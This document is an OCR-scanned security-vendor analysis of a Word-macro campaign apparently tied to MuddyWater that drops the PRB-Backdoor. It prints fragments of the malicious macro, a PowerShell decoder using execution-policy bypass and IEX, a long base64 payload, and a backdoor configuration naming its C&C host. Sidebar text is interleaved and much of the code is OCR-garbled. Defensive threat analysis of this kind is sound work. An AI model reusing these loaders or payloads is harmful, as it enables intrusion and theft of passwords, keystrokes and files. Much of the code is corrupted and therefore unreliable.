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ACloser Look at North Korea’s Internet

The MuddyWater campaign was first sighted in 2017 when it
targeted the Saudi government using an attack involving

PowerShell scripts deployed via Microsoft Office Word macro. In ’ \
March 2018, we provided a detailed analysis of another
campaign that bore the hallmarks of MuddyWater. \ ’

In May 2018, we found a new sample (Detected as
W2KM_DLOADR.UHAOEEN) that may be related to this
campaign. Like the previous campaigns, these samples again
involve a Microsoft Word document embedded with a malicious
macro that is capable of executing PowerShell (PS) scripts leading to a backdoor payload. One
notable difference in the analyzed samples is that they do not directly download the Visual Basic

Script(VBS) and PowerShell component files, and instead encode all the scripts on the document Attackers are banking on network
vulnerabilities and inherent weaknesses
to facilitate massive malware attacks,

From Cybercrime to Cyberpropaganda

Security Predictions for 2018

itself. The scripts will then be decoded and dropped to execute the payload without needing to
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download the component files.

As mentioned earlier, our analysis of the sample revealed characteristics that likely connect it to
the MuddyWater campaign, in particular:

e The delivery method, which involves the use of a malicious document with an embedded
macro as a lure for potential victims

e The obfuscation method for the macro scripts, which will result in an intended backdoor
payload. This method is commonly used in samples that were used in the MuddyWater
campaign
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Figure 1. Comparison of the infection chains used in the previous and current campaigns

Technical details

The sample we analyzed was a Word document used as a lure for unsuspecting victims. However,

unlike the samples from the previous campaigns, the lure document deals with a different subject
matter. Instead of using government or telecommunications-related documents, the new lure
document presents itself as a reward or promotion, which could indicate that the targets are no
longer limited to specific industries or organizations.
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IoT hacks, and operational disruptions.
The ever-shifting threats and increasingly
expanding attack surface will challenge
users and enterprises to catch up with
their security.

Read our security predictions for 2018.

Business Process Compromise

Attackers are starting to invest in long-
term operations that target specific
processes enterprises rely on. They
scout for vulnerable practices,
susceptible systems and operational
loopholes that they can leverage or
abuse. To learn more, read our Security 101:

Business Process Compromise.
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Figure 2. Sample lure document used in the new campaign Further Connections with Patchwork

The document is designed to trick users into enabling the macro to view its full content. However, Legitimate Application AnyDesk Bundled with New

the macro’s true purpose is to allow it to execute malicious routines without the user’s knowledge. Ransomware Variant
Once the macro is enabled, it will use the Document_Open() event to automatically execute the Malicious Traffic in Port 7001 Surges as
malicious routine if either a new document using the same template is opened or when the Cryptominers Target Patched 2017 Oracle

. . WebLogic Vulnerabilit
template itself is opened as a documentO. gic i .

— &

Macro name:
Email Subscription

A-—- Your email here

Document_Open

Document Open |

SH_Images atep Into M
Subscribe ‘

Create

Organizer...

Figure 3. Executing the malicious routine via Document_Open()
The malicious macro’s code snippet uses three main functions, specifically:

e The function contained in the RED box is the Document_Open() event, where all the sub-
functions will be executed/called.
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e The code inside the GREEN box manipulates the images shown in the document’s body.

e The code inside the BLUE box constructs the main Powershell commands and scripts. These
will be executed to perform the main routine.

Option Explicic
Sub Document_Open ()

SH_Images
worker

End Sub

Ry
ActiveDocument.ActiveWindow.View.Readinglayout = False

End If
ActiveDocument.Unprotect Password:="123#123"
End If

For Each item In ActiveDocument.Shapes
If item.Name = "Picture 11" Or item.Name = "Picture 13" Then
item.Visible = False

End If
Next

End Sub

[FobIic Fonction WOTKeT(] AS Variant

Dinm debla3279224e5087
Din ccsde As String
Dim quote

quote = Chr(32)
d6b14a327922425087

£30bAb7428338

Obdb7428338 = 0
3£1br8a06613
3£1b£8a066£38D;
Call MC(dsb3a; 24dE8050036841 7506276, "186LyS18665q]SL6516CrupusbS2T4nTupa6T46au0671678c7405be81856ey4ap]z")

Call MCX(c150424b82704204b745abcd2571904b, d8b3a22d193e4d689599363417596aT6, "19906267msiqdcbT 7eréclng 7 1m)
Set cdac7d4deb94b488344£62145544b56 = c150d24b82704204b745abcd25713d4b. Spawnlnstance_
cdase7d4dsp94be88344£62145544bL6 . Shovilindow = d6b14a3279aa4e80879530bdbT428338

Call MC(eecdSadSbda345e5a790£cEeT5d34580, "0b8274259 WgS£35e4536Tyg6TS39rmpe717d17a7anSE1674e 54788130458,
cesde = rvs ("0e7epo7deSnT380n8176v537a522e3bmi5366531512e7087 x4 Em6161223b25154p ThwSbo6 £5052922303422897) +
+ quote + "7

cesde = cosde +

rvs (n2 24bm 708a8aT 75497%880bEL4T 4077 ThEL4T548CT58a066b7095624788726270006236476006CEEEaBT4T4DT0T472095474bEbTbE0a2 20264474 £4DT 0557 38CO582bE L]
4754629b475e5e575750tua2 4099907 644b905592 7773 r7090414e51514e508259546269796CE592a4a46240999D64529220729b6CI455ThECILTDSS8CTS6aT 66030958208 461961889262707055826cIb9aTHI970958e4£82)
9220927b6c94556206050d80097b 846161264797 69489887a8c5d550a 7199907 56ens £4bASTb505062706cT£4£407 97050627 )

ccsde = ccsde = "

5p3222dF932406895993684£7£96a76, ©150d24b82704204b745abCd25713d4b, cda8cTd4dEDI4b48E344T62145544pE6, eacdBadShea3d5e5aT90ECTCTSAIEEE0
eladf5E6451842

4793e3dn6aTb7d5a6e507e5e")
Spth=n + quote + (ActiveDocument.path + "\ : ActiveDocument.Name)

Din UserValidaser
UserValidator = ThisDocument.Shapes (4) .TextFrame.TextRange.Tables (2).Cell(l, 1).Range.Text

If (InStr(UserValidator, "Miles ")) Then
eecdgadsb4a35e5aTI0EcECTEdI4E80 create conde, Null, cda@c7d4debg4b488344£62145544bE6, Null
End If

End Function

Figure 4. A snippet of the malicious macro’s code, marked with colored boxes to show the different
functions

Decoding and deobfuscation

Analysis of the code revealed a PowerShell script capable of decoding the contents of the
malicious document, which results in the execution of yet another encoded PowerShell script.
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powershElL -EXEC bypi4Ss

i
Spth=" lware jare H
Sre="";
2Dt=geT-cOntEnt ZPTH aSCIi;
FOrEach ($I in S5DT)
{
iF (£I.Length -Gt 7700)
{
Srt=5i.sPLIt("'=*")[2]:
BEREak

;Ere=[=2y5tEm.TExT.eNC0ODing] : :2aCIT.gEtaTrIng ( [2vsTEm. ConverT] : : FROmbaSe64sTriNG ($rT) ) ;
IEX (2RT) :

Figure 5. The Powershell script contained in the sample’s code

function main

{
Scontent="ZnVuY3Rpb24gejB3MnVQZIVgoJHNLUHYpewog ICAGJHNLUHYgPSAkec0tQdi SUb0NoYXJBendheSgpCiigICBEYX Iy YX1d0OjpSZXZlenN1EC
AgICBSCmZ1bnN0aWeuIEZRZ FosRYFXECRNcHVER sKICAg ICRncHVEI DO g JGZwdUQulnVwbGES 25gnI2ES Jywo InBulikaUnVwhGEs Z25gnI2 13 Jywady
gnI2Uj JywgInBgIikEICAgIHI1dHVybiakZnB1RAogICAGEQrpZXgoR1IFENjdFcVeoIns0f s 1fHs2 Fasx fasviKawis zf SIgLWYgKHowdz J1IUGVYEC
O0geCIpKSwogHCkpCmlleChGUWRaNOVRVygiezJ9ezF3ezViezB8ezR9ezN9IiAtZifoeiB3MnVOZVogo IiBEZVdeNjAIKSksEHowdz J1UGVYECIvYiIpKS
hETWRaNOVxVygiezR9ezB9%zJ%ezd%ezF9ezV3ezN9ezZ9TiAtZiAoeiB3MnVRZVgo ImS0UvAgICAgICAgQICAGICAGICAIYSHNTICAgICAGICAgGICAGIZ
BRRGECHZ2xsI20QJKGZpICAgICAgICAgICAGI2EjevAgICAgICAGI2EJKSsrEXVCRWpgaUEj ZCHTdGS 1Ib0MuMFFELOI 3bGw] 2CHgdGwt IGV1IQkVgaml BI2
WiZGx1IC1Gb3JjZ5NhIyAgICAgICAgICAQIHO I YSMgICAQICAQIHO JYSMgICIsKHowdeJ1UGVYRCIJWzEBRRGACH2xs120] IGRIL5Bzc2Vib3JQLXRIKS
QIXV1bdGN] amIvilyAgICRgICAgICAgICNNT 3sgICRgICAGICNh T vk YiNOY2VgYk90bn Ve ZHdhbmFNT2 T3 THF1LSB1bWFOL: ko ZXBEdHR1 Z y4wlUURvE]
AgICNRIvNiTyNII2V4Z55hdGhzbSNS Tz 11EWFuT 2T IHI14GXpRi0ge3N1 Y2 9ycFSyM2 SpdyB0Y 2Va¥mapbXecdGVnID0gMFFERO T3hGw] ZCMgTCRAgT2
Sh3CSdZXVCRWpgaUE ZCNEMFFERO I3bGw) ZCMyZEkT IHNZ ZWNve LATeG0UvAgICAgICAGICAGICAGICA] ¥YSMgICAGICAGICNAI32gICAGICAGICAYIC.
FEROI3EGW] ZCMoZmkgICAgICAGICAGICAI ¥YSNTICAgICAGICA] YSMpKyt 1dUJFanppQSikI zt 0bnVvQy4wlURYQI dsbC kI vBORCOgZXVCRNpgaUE ] ZC
13bGwW] ZCMIMFFEROI3bGW] ZCNAXVE0Y2Vg¥mbICAgICAGICAGICAGIZ2E evAgICAGICAGI2EJKSNi I3RS ZNpiT3RUZIWI1Z2FuYU03 YiMgeNTtIGVE YD
debCNELIyhmaSAgICAIYSMYSH YiMj YyNleGUubGx1ladNyZXdveCNjIz11bWFuI2 I IHJ1dGXpR10ge3N1Y2 9yeF8yM2 5pdvBO0Y2VgYmopbXctdGVnID
RhUC10c2VUKCByby0gKSNiT1IMQ1xQTUVUOnZuZ SNkIvNi IvBodGFQLYRZZVQoIHIvLSApI 21 Ukx DXHRub3NvenNpTVhdGFkcHBhOn ZuZ SNkIyNi Ty
VCAdWVdLkhhbiIsIDApEQppZXgoRlFkWjdFcVeoInavEXs1£Xs2 fXa 5 fsxfXsxMX1TH31 THTESezR922d%ezB0%ezh9TiAtZiAi IyNhIvIsEKHowdzJ10G
AgICRAgICAgICHRISsgICAgICRgICAgICAGICAGIZE] ZXNsZ5AgICAgICAgICAYICAgICAIYSHIICAgICAGICARICAGICAgICHRIVNATI1JMQ1xDEURCVY.
AgI2IjUiIpKSwiW3N0cmluZ103 ZCHsbDdChORRMGF0aCASICNIIvNiIvNhIZ ImEClub3QoVEVedClQYXRoICNI IvNkI2VudjphcHBKYXRREEIpY3Jvc2
VeICIQYXRoICHiIyNkI2VadiphcHEEYXRRXEIDY3Jvce2 SmdFwiYiMgLUl0ZW1UeXBlIERponVidGeveSAtTmFcZ5A YiNDTFI ¥YiMgICHhIvAgQICAQIC.
IJIZEJICAQICAQICAIYSMgICRAgESHRIvAGICIsKHowdzJ1UGVYERCIQIZEJICAQICAQICAQIZI jUkXDXFENRVOEdmS1I20jI2IiK5ks ImQjbGw30mSEUT
0geXJvdGN1cml EIGVwe VRt ZXRILSA] YiNGTUVICNZuZ SHkIyNiIyBodGFQLEBL ZXRILXAITiAgICAgTCAgICAGICAGICE YSNTICAg ICAGTCAQTICAGT2
M3 ¥iMgaHRhUC10e2VUKHRvbi0oZmkgICAGICRGICNhI33gICAGT2EaGNOYWMgTikpL.CTJOYW11TCN1 TONMUiNi TyRgT2E3 ICAYICAGTCAQTCRGICRGTC
AgICAgICAQICAGESNhIVAGICAGICAGICAGIGNhdGNoI2ES ICAGICAGICAGICAgeyNhIvAGICAGICAGICAQICAZICEPZigtbm@0KFR1c3QrUGF0aCh] Y4l
AgICAgICAQICAgICAGIES1dylJdGVE ICIsKHowdz J1UGVYKCTiIyvIpKSwifSIsIi1QYXRoOICHL IyNkI2Vudy pQVIJMSUM] YiMgLULOZW1UeXB1IERpem
J9I2E]jICBhdGggZWihTi0geXJvdGNlcmlEIGVweVREIikpL.ChéMHecydVB1WCgiL3BodGEWIURV]jdsbCNkI yBodGFQLEBL ZXRILXdITiAgICAIYSHNTIZ
ZpIlikpLChEMHeydVBIWCoi ZXRITikpLCAWK SKKaWV4EKEZRZFo3RXFXECTITHX 1 TMn1 THnl THH1 TM3 1 TMH1 TMTBESez19e2d9ezV9ezn8TiATZiA1d3MgLC
IuWWSMCOVZRckYJZCHMgICRAgI2EJI2Ija25slnV4Z55kbnNwe lxodGEWIURVYjdsbCNEI yNIiIvASIHNSMFFELOISbGW ZCHgICAGIZE jMDEgQCc2ZRUbZN1TY
BvQjdsIikpLCheMHcydVBIWCgiYSMIiKSKksIn0iLCIpliwiMCASICHNEIZ ZhbHN1 TiwgMCkp™
[string] $decode = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String ($content))
iex $decode

Figure 6. The second encoded PowerShell script, which is executed after the first script is decoded

This will then result in more readable PowerShell scripts capable of dropping various components
in the %Application Data%\Microsoft\CLR\* directory. The main PowerShell file invoker.ps1 uses
these components to run the final payload, PRB-Backdoor, previously analyzed by other security
researchers in May 2018.
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Figure 7: The components dropped in the %Application Data%\Microsoft\CLR\* directory

PRB-Backdoor is a backdoor that takes its name from the function used in the final PowerShell
script payload, as seen in the figure below.

Ifunction FEEB I

{
Start-Sleep 14
Ehttp = Strue
Zdns = Ztrue
fhash = [hashtable]::Synchronized (@{})
Shash.http = Shttp
fhash.dn= = &dns

£hash.Ses=sionkKey = ""

[etring] £Glokal :GUID = "

£Glogbal:ID=""

fhash.httphddress ="http:/ /outlddk.net”
Shash.HostAddress= "." + "outldOk.net"
fhash.SESSIONEEY=""

Shash.FunkKey= "2b47eT7lccfes4231"
fhash.INTEREVAL = &0
Shash.jitter= 5

Figure 8. The PS function from which PRB-Backdoor takes its name

The backdoor communicates with its Command-and-Control (C&C server), hxxp://outl00k[.]net, to
send and receive the following commands:
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Command

PRB-CREATEALIVE

PRB-CREATEINTRODUCE

PRB-History

PRB-PASSWORD

PRB-READFILE
PRB-WRITEFILE
PRB-Shell

PRB-Logger

PRB-Shot

PRB-funcupdate
sysinfo

Start_Dns

Details

Initializes connection with the C&C Server

Registers/introduces the affected machine to
the C&C server

Gather browsing histories from different
browsers and send it to the C&C server using
the “sendfile” function

Steals passwords listed or found in the
browser histories

Reads files
Writes files
Executes shell commands

Calls the “Logger” function, used to record
keyboard strokes

Triggers the SNAP function, used to capture
screenshots

Updates functions
Gathers system information

Initializes DNS Session/Connection

If these samples are indeed related to MuddyWater, this means that the threat actors behind

MuddyWater are continuously evolving their tools and techniques to make them more effective
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and persistent.
Countermeasures and Trend Micro Solutions

Given the use of lure documents designed with social engineering in mind, it is likely that the
attackers use phishing or spam to target users who are unaware of these documents’ malicious
nature. Awareness can effectively mitigate or stop these kinds of attacks from being successful.
The first step is to be able to identify phishing attacks and distinguish legitimate emails from
malicious ones. Telltale signs of social engineering include “too-good-to-be-true” offers and
messages that lack context. In general, users should always practice caution when it comes to
email. This includes avoiding clicking on links or downloading any documents unless certain that
these are legitimate.

Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to
today’s stealthy malware, and targeted attacks in real time. It provides a comprehensive defense
tailored to protect organizations against targeted attacks and advanced threats through
specialized engines, custom sandboxing, and seamless correlation across the entire attack
lifecycle, allowing it to detect threats even without any engine or pattern update.

Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously
updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted
attacks before they reach the network.

Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security prevent malware
from ever reaching end users. At the endpoint level, Trend Micro™ Smart Protection Suites deliver
several capabilities that minimize the impact of these attacks.

These solutions are powered by the Trend Micro XGen™ security, which provides a cross-
generational blend of threat defense techniques against a full range of threats for data

centers, cloud environments, networks, and endpoints. It features high-fidelity machine learning to
secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud
workloads.

Indicators of Compromise (loCs):
Detected as W2KM_DLOADR.UHAOEEN

e 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b
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